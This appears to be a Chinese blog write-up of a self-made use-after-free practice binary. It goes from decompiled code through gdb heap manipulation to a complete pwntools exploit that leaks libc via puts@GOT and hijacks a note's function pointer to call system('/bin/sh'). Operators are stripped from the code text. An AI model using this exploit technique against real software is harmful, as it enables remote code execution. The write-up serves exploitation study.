my_uaf_hook

发布时间:2026/10/10 2:16:26
my_uaf_hook
这里我们由于一直找不到user-after-free比较好的例题我就自己写了一个相关的例题我们直接开搞my_uaf_hook.zip我们还是先进行静态分析我们还是先看mian函数int __fastcall main(int argc, const char **argv, const char **envp) { unsigned __int64 v3; // rax setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts(UAF: hijack the function pointer); while ( 1 ) { menu(); v3 read_int(); if ( v3 4 ) return 0; if ( v3 4 ) goto LABEL_12; switch ( v3 ) { case 3uLL: show_note(); break; case 1uLL: add_note(); break; case 2uLL: del_note(); break; default: LABEL_12: puts(Invalid choice); break; } } }unsigned __int64 read_int() { int v0; // eax char buf; // [rspBh] [rbp-25h] BYREF int v3; // [rspCh] [rbp-24h] char nptr[8]; // [rsp10h] [rbp-20h] BYREF __int64 v5; // [rsp18h] [rbp-18h] unsigned __int64 v6; // [rsp28h] [rbp-8h] v6 __readfsqword(0x28u); *(_QWORD *)nptr 0; v5 0; v3 0; while ( v3 14 read(0, buf, 1u) 0 buf ! 10 ) { v0 v3; nptr[v0] buf; } return strtoul(nptr, 0, 10); }read_int这个函数就是读取函数最多读取14个数据strtoul是将字符串装换成数字后面的10表示是十进制我们接着往下看先看addint add_note() { __int64 v1; // rbx int i; // [rsp4h] [rbp-1Ch] unsigned __int64 size; // [rsp8h] [rbp-18h] for ( i 0; ; i ) { if ( i 15 ) return puts(Full); if ( !*((_QWORD *)notes i) ) break; } printf(Size: ); size read_int(); if ( !size || size 0x200 ) return puts(Invalid size); *((_QWORD *)notes i) malloc(0x10u); **((_QWORD **)notes i) print_note_content; v1 *((_QWORD *)notes i); *(_QWORD *)(v1 8) malloc(size); printf(Content: ); read_n(*(_QWORD *)(*((_QWORD *)notes i) 8LL), size); note_count; return puts(Done); }这里我们在进行申请完新的空间之后就形成了这样的图形[.bss 段] [Heap 堆空间] 0x4040a0 i*8 Chunk 1 (结构体, 0x10 字节) --------------- --------------------------------------- | notes[i] | ------------- | 0x00: print_note_content (0x40131e) | - 第19行填充 --------------- |---------------------------------------| | 0x08: content 指针 | - 第20行填充 -------------------|------------------- | v Chunk 2 (用户数据块, malloc(size)) --------------------------------------- | 用户输入的字符串数据 | | (如 aaaa... 或 payload) | ---------------------------------------我们继续看del函数int del_note() { unsigned __int64 v1; // [rsp8h] [rbp-8h] printf(Index: ); v1 read_int(); if ( v1 0xF || !*((_QWORD *)notes v1) ) return puts(Invalid); free(*(void **)(*((_QWORD *)notes v1) 8LL)); free(*((void **)notes v1)); return puts(Deleted); }这里我们发现这两个指针我们进行释放之后并没有进行置为空这样一来就出现了user-after-free这个漏洞我们继续看show函数int show_note() { unsigned __int64 v1; // [rsp8h] [rbp-8h] printf(Index: ); v1 read_int(); if ( v1 0xF *((_QWORD *)notes v1) ) return (**((int (__fastcall ***)(_QWORD))notes v1))(*(_QWORD *)(*((_QWORD *)notes v1) 8LL)); else return puts(Invalid); }我们这里将第8行的return进行转换一下这样看着太难受了return notes[v1]-printnote(notes[v1]-content);这样就好看多了这里就是一个打印函数这里我们继续完静态验证之后来开始进行动态验证这里我们先进行申请两个chunk之后全部进行释放上图就是现在的bin的状态两个bin的大小都没超过fastbin的最大限制所以遵循fastbin的后进先出的原则此时我们进行查看notes的地址发现这个时候我们进行将两个chunk进行释放之后并没有置为null此时我们申请一个chunk大小是0x18这个时候就会将chunk0分配出去这个时候可能你会问这是为什么出去的不是chunk1吗这里我们别忘记了add中会先申请一个大小是0x10的chunk此时我们进行查看一下发现这里chunk2的地址和chunk1的地址是一样的gdb set $n2 *(unsigned long*)(0x4040a016) # notes[2]★ 必须解引用 set $c2 *(unsigned long*)($n28) # notes[2]-content p/x $n2 p/x $c2 p/x *(unsigned long*)0x4040a0 # notes[0]这里我们可以看出来经过我们的设置此时chunk2的头指向的是chunk1的头content2使用的是chunk0这块空间gdb set {unsigned long}$c2 0x40131e # printnote print_note_content set {unsigned long}($c28) 0x404020 # content putsgot x/2gx $c2 # 应显示 0x40131e / 0x404020我们继续进行设置这样一来我们进行运行就可以成功的泄漏putsgot的地址了这里其实已经泄漏成功了只是我的编译器大多时候输出地址都会乱码这里算出来libc的基地址这里我们接着释放之后重新进行申请gdb set $n3 *(unsigned long*)(0x4040a024) # notes[3]24不是 16 set $c3 *(unsigned long*)($n38) p/x $c3 p/x *(unsigned long*)0x4040a0 # 必须相等 0x405260 set {unsigned long}$c3 $lb 0x4f420 # printnote system set {unsigned long}($c38) $lb 0x1b3d88 # content /bin/sh x/2gx $c3我们接着进行展示一下就可以拿到shell之后就交给py脚本了from pwn import * context(archamd64, oslinux, log_levelinfo) elf ELF(./uaf_hook) libc ELF(./libc-2.27.so) PRINT_NOTE_CONTENT elf.sym[print_note_content] PUTS_GOT elf.got[puts] def start(): p process([./ld-2.27.so, --library-path, ., ./uaf_hook]) p.timeout 3 p.recvuntil(b ) return p def add(p, size, data): p.sendline(b1) p.recvuntil(bSize: ) p.sendline(str(size).encode()) p.recvuntil(bContent: ) p.send(data.ljust(size, b\x00)[:size]) p.recvuntil(b ) def delete(p, idx): p.sendline(b2) p.recvuntil(bIndex: ) p.sendline(str(idx).encode()) p.recvuntil(b ) def show(p, idx): p.sendline(b3) p.recvuntil(bIndex: ) p.sendline(str(idx).encode()) return p.recvline() def exploit(): p start() add(p, 0x30, ba * 0x30) # idx0: struct(0x20) content(0x40) add(p, 0x30, bb * 0x30) # idx1 delete(p, 0) # fastbin[0x20]: struct0 ; fastbin[0x40]: content0 delete(p, 1) # fastbin[0x20]: struct1 - struct0 # ---- [1][2] content 落到 struct0 控制 notes[0]顺便泄露 libc ---- add(p, 0x18, p64(PRINT_NOTE_CONTENT) p64(PUTS_GOT)) # idx2 leak u64(show(p, 0).strip().ljust(8, b\x00)) libc_base leak - libc.sym[puts] log.info(puts %#x libc_base %#x, leak, libc_base) assert libc_base 0xfff 0, libc 基址未对齐 # ---- [3] 劫持 printnote system, content /bin/sh ---- delete(p, 2) # 归还 struct0 / struct1 binsh libc_base next(libc.search(b/bin/sh)) add(p, 0x18, p64(libc_base libc.sym[system]) p64(binsh)) # idx3 show(p, 0) # - system(/bin/sh) sleep(0.3) p.sendline(becho PWNED_UAF; id; uname -m) try: out p.recvuntil(bx86_64, timeout3) except Exception: out b return out if __name__ __main__: for i in range(3): try: out exploit() except Exception as e: log.warning(attempt %d err %r, i 1, e) continue if bPWNED_UAF in out: log.success(SHELL OK) print(---------------- shell output ----------------) print(out.decode(errorsreplace).strip()) print(----------------------------------------------) break log.warning(attempt %d 未拿到 shell, i 1) else: log.failure(NOT OK)